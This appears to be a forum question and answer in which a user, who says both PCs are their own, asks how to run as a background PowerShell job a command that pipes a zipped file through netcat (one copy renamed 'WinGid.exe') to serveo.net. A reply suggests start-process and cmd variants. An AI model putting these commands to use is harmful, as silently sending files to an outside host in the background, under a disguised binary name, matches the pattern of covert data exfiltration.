I have 2 PCs, 1 listening for connections and the other trying to send the file.
$dir is a file
"$dir.zip" is the zipped $dir file.
I ran this command with success.
Get-Content "$dir.zip" | .\Netcat32.exe serveo.net PORT
However, I want to run it in the background, so that I can run other commands.
I followed the microsoft guides for running jobs and found AsJob and Start-Job
This command was successful, but it doesn't run in background:
Invoke-Command -ScriptBlock {Get-Content "$dir.zip" | .\Netcat32.exe serveo.net PORT}
However, when I add the -AsJob tag at the end of the line...:
Invoke-Command -ScriptBlock {Get-Content "$dir.zip" | .\Netcat32.exe serveo.net PORT} -AsJob
I get this error:
Invoke-Command : Parameter set cannot be resolved using the specified named parameters.
At line:1 char:1
+ Invoke-Command -ScriptBlock {Get-Content "$dir.zip" | .\Netcat32.exe se ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : InvalidArgument: (:) [Invoke-Command], ParameterBindingException
+ FullyQualifiedErrorId : AmbiguousParameterSet,Microsoft.PowerShell.Commands.InvokeCommandCommand
But when I change the command to the following I get no errors, it runs in the backgorund but still no connection: (i've noticed that ComputerName is localhost by default)
Invoke-Command -ComputerName localhost -ScriptBlock {Get-Content "$dir.zip" | .\Netcat32.exe serveo.net 55558} -AsJob
This command returns no errors, runs in the background, but no connection is achieved:
Start-Job -ScriptBlock {Get-Content "$dir.zip" | .\WinGid.exe serveo.net PORT}
Tried this too, runs in bg but no TCP connection established:
Start-Job -ScriptBlock { invoke-Command -ScriptBlock { Get-Content "$dir.zip" | .\WinGid.exe serveo.net PORT } }
You may try start-process
start powershell -Argumentlist "Get-Content $dir.zip | .\Netcat32.exe serveo.net PORT" -noNewWindow
if you know how to do this in cmd below options might work
start ./netcat32.exe -ArgumentList "..." -nonewwindow
or start-job {cmd /c "netcat32 ..."}